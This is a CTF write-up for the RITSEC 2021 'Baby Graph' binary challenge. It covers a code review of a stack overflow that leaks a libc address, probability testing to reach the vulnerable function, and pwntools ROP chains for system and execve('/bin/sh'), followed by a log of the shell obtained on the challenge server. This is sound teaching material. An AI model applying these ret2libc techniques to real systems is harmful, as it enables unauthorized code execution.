Skip to content

Instantly share code, notes, and snippets.

@evanrichter

evanrichter/babygraph.md

Last active April 18, 2021 19:44
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save evanrichter/69ff19eed253add3422e62041ea93f44 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save evanrichter/69ff19eed253add3422e62041ea93f44 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
babygraph.md

RITSEC 2021: Baby Graph

Points: 231

Category: Rev/Bin

Summary

We are presented with three files:

  • babygraph: the compiled binary, running on the challenge server
  • libc.so.6: the version of libc on the challenge server
  • babygraph.c: source code for the babygraph binary

Code Review

Taking a look at the source, I first noticed familiar variable names dealing with graph structures:

#define MAXN 10
#define NQUIZ 5

unsigned int G[MAXN][MAXN];
unsigned int deg[MAXN];
unsigned int V;
unsigned int E;

(G for graph, V for vertex, E for edge, deg for degree of connectivity)

The generateGraph function generates a random graph with random configurations of vertices connected via random edges. Of note, it starts by calling resetGraph which sets the global boolean bruh to true, and before returning, optionally sets bruh to false:

void generateGraph() {
    resetGraph(); // sets bruh to true

    // ...graph generated here using rand()...

    for (int v = 0; v < V; v++) {
        if (deg[v] % 2) {
            bruh = false;
            break;
        }
    }
}

Next up is this aptly named function:

void vuln() {
    char buf[100];

    printf("Here is your prize: %p\n", system);
    fgets(buf, 400, stdin);
}

If this function is ever called, we immediately get an information leak (the address of system) along with an overflowable stack buffer. The primary goal must be to call this function.

Main is very simple. It seeds srand with the current system time in seconds, then enters a for loop that

  1. Generates a graph
  2. Displays the graph
  3. Asks a yes or no question
  4. Exits early if the answer is not correct with respect to bruh

If all questions are answered correctly, the for loop terminates and the vuln function is called.

Strategy

Three strategies came to mind for how to get to vuln.

  1. Parse the graph printout and calculate the answer to each question.
  2. Pre-determine the five graph answers by seeding srand with my own system time, then extending out a minute or so to build up a cache of solutions. After connecting to the server, the first graph shown will line up with a cached solution computed locally.
  3. Quickly run some experiments to see whether there is bias toward Y over N or vice versa.

The first two strategies clearly involved more coding, and it's possible to get lucky with strategy #3 and find out that the answer is Y 90% of the time or something. That's what I went with to start.

I modified main, adding some simple counters, and removing printing and exiting code, and any calls for user input:

int main() {
    srand(time(NULL));

    int c = 0;
    int d = 0;
    for (int jjj=0; jjj < 0x10000; jjj++) {
        int a = 0;
        int b = 0;

        for (int i = 0; i < NQUIZ; i++) {
            generateGraph();
            if (bruh) { a++; } else { b++; }
        }

        if (a == 0) {
            c++; // All answers "No"
        } else {
            d++;
        }
    }

    printf("%d, %d \n", c, d);
    printf("%f\n", (float)c / (float)d);

    return 0;
}

a and b count how often bruh was true or false. After 5 graphs generated, c counted the number of times all five answers were N. And finally, a ratio is printed out after repeating the experiment 0x10000 times.

The results consistently looked something like:

16542, 48994 
0.337633

Meaning the odds of all Ns vs. anything else was about 1:3. Those odds seem pretty good to me!

In about 5 minutes, we found that we don't need to parse their graph printout! We will simply land on vuln by guessing N all 5 times, with the only potential penalty of having to re-try our exploit a couple times.

ROP

The stack buffer overflow clearly intends for ROP, but to check for canaries, I loaded the binary in ghidra and decompiled vuln:

void vuln(void)
{
    char local_78 [112];
    
    printf("Here is your prize: %p\n",system);
    fgets(local_78,400,stdin);
    return;
}

No canary, onto ROP:

if local:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    libc = ELF('./libc.so.6')

r = ROP(libc)

Pwntools makes this part super easy, and is a highly recommended toolkit for quickly solving CTF pwn challenges. With the system function address leaked by vuln, we can calculate where the base of libc is loaded, to make further ROP calculations easy:

# parse "0xdeadbeef" string to integer
system_addr = int(leaked_addr_text, 16)

# calculate libc base
system_offset = libc.symbols['system']
libc_base = system_addr - system_offset

With the following gadgets and knowledge of system already, we are ready to get a shell!

# binsh string
bin_sh_offset = next(libc.search(b'/bin/sh\x00'))
bin_sh_addr = bin_sh_offset + libc_base

# pop rdi gadget
pop_rdi_offset = r.find_gadget(['pop rdi', 'ret']).address
pop_rdi_addr = pop_rdi_offset + libc_base

# ret gadget
ret_offset = r.find_gadget(['ret']).address
ret_addr = ret_offset + libc_base

The ret gadget comes in handy since the number of input bytes read in is large, and I didn't want to waste time counting the exact number of bytes until overwriting the first ret address and instead used a "ret slide" as the first large chunk of input.

This means that the entire stack buffer is filled with pointers to a ret instruction, RBP is loaded with this address, and also the first dozen or so ROP instructions actually just execute ret, or effectively nop.

Our ROP chain is now:

chain = [
    pop_rdi_addr,
    bin_sh_addr,    # rdi
    system_addr,    # printed from `vuln`
]

# send ropchain
p.sendline(p64(ret_addr) * (250 // 8) +  b''.join(p64(r) for r in chain))
p.interactive()

We got a shell locally! Unfortunately for whatever reason, this simply would not work on the remote server. We tried debugging so many things, and countlessly watched our payload execute successfully through gdb. It wasn't until we changed our payload slightly to:

chain = [
    pop_rdi_addr,
    bin_sh_addr,    # rdi
    puts_addr,      # calculated puts address
]

Which is effectively puts("/bin/sh"). We just tried to make anything useful happen remotely. And this actually caused the remote server to print the string "/bin/sh"!

Something wasn't working with system("/bin/sh") so we pivoted to building a new ROP chain for:

void *a = 0;
execve("/bin/sh", a, a);

We had to find a few more gadgets for this, to correctly populate the second and third register arguments:

# pop rsi gadget
pop_rsi_offset = r.find_gadget(['pop rsi', 'ret']).address
pop_rsi_addr = pop_rsi_offset + libc_base

# pop rdx gadget
pop_rdx_offset = r.find_gadget(['pop rdx', 'pop r12', 'ret']).address
pop_rdx_addr = pop_rdx_offset + libc_base

# execve gadget
execve_offset = libc.symbols['execve']
execve_addr = execve_offset + libc_base

# null ptr (*VALID* pointer to 0)
nullptr_offset = next(libc.search(p64(0)))
nullptr_addr = nullptr_offset + libc_base

chain = [
    pop_rdi_addr,
    bin_sh_addr,    # rdi
    pop_rsi_addr,
    nullptr_addr,   # rsi
    pop_rdx_addr,
    nullptr_addr,   # rdx
    0,              # r12
    execve_addr,
]

# send ropchain
p.sendline(p64(ret_addr) * (250 // 8) +  b''.join(p64(r) for r in chain))
p.interactive()

The interesting part here is that we need a valid address where we can expect a pointer to NULL. The following only finds the first valid pointer to 0 in libc:

# null ptr (*VALID* pointer to 0)
nullptr_offset = next(libc.search(p64(0)))
nullptr_addr = nullptr_offset + libc_base

This happened to be stable during runtime for this binary. But hey, we threw out exploit stability by answering all Ns anyway :)

Popping a shell

for x in `seq 10`; do ./solve.py; done;
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/user/projects/offsec/baby_graph/libc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 201 cached gadgets for './libc'
[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] Switching to interactive mode
$ ls
babygraph
core
flag.txt
start.sh
$ cat flag.txt
RS{B4by_gr4ph_du_DU_dU_Du_B4by_graph_DU_DU_DU_DU_Baby_gr4ph}
$ exit
[*] Got EOF while reading in interactive
$
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment